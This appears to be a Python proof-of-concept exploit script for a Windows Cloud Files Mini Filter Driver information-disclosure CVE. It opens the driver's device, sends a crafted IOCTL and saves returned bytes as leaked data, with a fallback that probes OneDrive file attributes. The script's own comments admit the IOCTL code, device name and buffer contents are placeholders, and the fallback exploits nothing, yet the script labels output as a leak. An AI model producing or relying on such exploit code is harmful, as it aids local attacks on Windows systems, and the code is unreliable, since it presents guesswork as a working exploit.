# CVE-2025-55336 - Windows Cloud Files Mini Filter Driver Information Disclosure PoC
# This is a conceptual PoC demonstrating the exploitation approach
# NOTE: This vulnerability requires local access and low privileges
import ctypes
import struct
import sys
import os
# Windows API constants
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 3
INVALID_HANDLE_VALUE = -1
# Device name for Cloud Files Mini Filter Driver communication
DEVICE_NAME = r"\\.\\CloudFilesFilter"
# IOCTL code for triggering information disclosure
# The specific IOCTL value would need to be reverse-engineered from the driver
IOCTL_CLOUDFILES_LEAK_INFO = 0x0022200C # Example IOCTL value
kernel32 = ctypes.windll.kernel32
def exploit_cloud_files_info_disclosure():
"""
Attempt to trigger information disclosure via Cloud Files Mini Filter Driver.
This PoC demonstrates the conceptual approach to exploiting CVE-2025-55336.
"""
print("[*] CVE-2025-55336 PoC - Cloud Files Mini Filter Driver Info Disclosure")
print("[*] Attempting to open device driver handle...")
# Open a handle to the Cloud Files Mini Filter Driver
hDevice = kernel32.CreateFileW(
DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
None,
OPEN_EXISTING,
0,
None
)
if hDevice == INVALID_HANDLE_VALUE:
error_code = kernel32.GetLastError()
print(f"[-] Failed to open device. Error code: {error_code}")
print("[-] This may require administrator privileges or driver may not be loaded")
return False
print("[+] Device handle obtained successfully")
# Prepare input buffer - crafted to trigger the vulnerable code path
input_buffer = ctypes.create_string_buffer(1024)
output_buffer = ctypes.create_string_buffer(4096)
bytes_returned = ctypes.c_ulong(0)
# Fill input buffer with specific parameters to trigger info disclosure
# The exact parameters depend on the driver's IOCTL handler implementation
struct.pack_into('<I', input_buffer, 0, 0x00000001) # Command type
struct.pack_into('<I', input_buffer, 4, 0x00000000) # Flags
struct.pack_into('<Q', input_buffer, 8, 0x0000000000000000) # File handle / context
print("[*] Sending crafted IOCTL request to trigger information disclosure...")
# Send the IOCTL request
result = kernel32.DeviceIoControl(
hDevice,
IOCTL_CLOUDFILES_LEAK_INFO,
input_buffer,
1024,
output_buffer,
4096,
ctypes.byref(bytes_returned),
None
)
if result:
print(f"[+] IOCTL request succeeded. Bytes returned: {bytes_returned.value}")
# Analyze leaked data from output buffer
leaked_data = output_buffer.raw[:bytes_returned.value]
print(f"[+] Leaked data (hex): {leaked_data.hex()}")
# Check if leaked data contains sensitive information
# (file paths, user data, kernel pointers, etc.)
if len(leaked_data) > 0:
print("[!] Potential sensitive information leaked from driver!")
# Save leaked data for analysis
with open("leaked_data.bin", "wb") as f:
f.write(leaked_data)
print("[+] Leaked data saved to leaked_data.bin")
else:
error_code = kernel32.GetLastError()
print(f"[-] IOCTL request failed. Error code: {error_code}")
# Cleanup
kernel32.CloseHandle(hDevice)
print("[*] Device handle closed")
return result
def alternative_exploit_via_file_operations():
"""
Alternative exploitation approach via file system operations.
Targets the Cloud Files placeholder handling code path.
"""
print("\n[*] Attempting alternative exploitation via file operations...")
# Create a symbolic link or use specific file paths to trigger
# the vulnerable code path in Cloud Files Mini Filter Driver
target_paths = [
os.path.expandvars(r"%LOCALAPPDATA%\\Microsoft\\OneDrive\\placeholder.dat"),
os.path.expandvars(r"%USERPROFILE%\\Documents\\cloud_file_test.txt"),
]
for path in target_paths:
try:
# Attempt to read file metadata that may trigger info disclosure
attrs = ctypes.windll.kernel32.GetFileAttributesW(path)
if attrs != INVALID_HANDLE_VALUE:
print(f"[+] File attributes obtained for: {path}")
except Exception as e:
print(f"[-] Error accessing {path}: {e}")
return True
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-55336 - Windows Cloud Files Mini Filter Driver")
print("Information Disclosure Vulnerability PoC")
print("=" * 60)
print("WARNING: This PoC is for educational/research purposes only.")
print("Use only on systems you own or have authorization to test.")
print("=" * 60)
# Attempt primary exploitation
if not exploit_cloud_files_info_disclosure():
# Fallback to alternative method
alternative_exploit_via_file_operations()
print("\n[*] PoC execution completed")